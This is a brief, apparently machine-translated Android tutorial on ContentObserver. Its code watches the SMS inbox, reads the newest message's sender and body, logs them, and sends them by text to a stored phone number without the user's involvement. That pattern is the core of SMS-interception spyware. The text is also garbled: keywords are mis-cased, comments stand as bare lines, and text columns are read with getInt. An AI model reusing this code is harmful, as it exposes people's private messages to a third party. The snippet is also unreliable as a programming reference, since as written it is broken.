SMS URI
Uri Smsuri = Uri.parse ("content://sms");
Use Contentreslover to register and monitor
Getcontentresolver (). Registercontentobserver (Smsuri, True,
New Mysmslistener (Mhandler, smsobserverservice.this));
Inherit Contentobserver Monitor
Class Mysmslistener extends Contentobserver {... }
When the supervisor hears the change, makes the corresponding treatment
@Override
public void OnChange (Boolean selfchange) {
TODO auto-generated method stubs
Super.onchange (Selfchange);
Uri Outsmsuri = Uri.parse ("Content://sms/inbox");
Cursor C = mcontext.getcontentresolver (). query (Outsmsuri, NULL,
NULL, NULL, "date desc");
if (c! = null) {
LOG.I ("Lzh_sms", "The number of send is" + c.getcount () + "\ n");
StringBuilder sb = new StringBuilder ();
Looping through
while (C.movetonext ()) {
LOG.V ("Lzh_sms", "C.movetonext is exec");
Sb.append ("Sender's mobile number:" +c.getint (C.getcolumnindex ("Address"))
. Append ("Message content:" +c.getint (C.getcolumnindex ("Body")))
. Append ("Whether to view:" +c.getint (C.getcolumnindex ("read")))
. Append ("Send Time:" +c.getint (C.getcolumnindex ("date"))
. append ("\ n");
LOG.I ("Lzh_sms", C.getstring (C.getcolumnindex ("body"));
Sb.append (
"Sender's mobile number:" + C.getint (C.getcolumnindex ("Address"))
. Append ("Information content:"
+ c.getstring (C.getcolumnindex ("Body")))
. append ("\ n");
Smsmanager SMS = Smsmanager.getdefault ();
Sms.sendtextmessage (phonenumber.phonenumbers, NULL,
Sb.tostring (), NULL, NULL);
LOG.I ("Lzh_sms", sb.tostring ());
Break
}
C.close ();
}
}
Contentobserver is so simple!
Contentobserver Monitoring Database • changes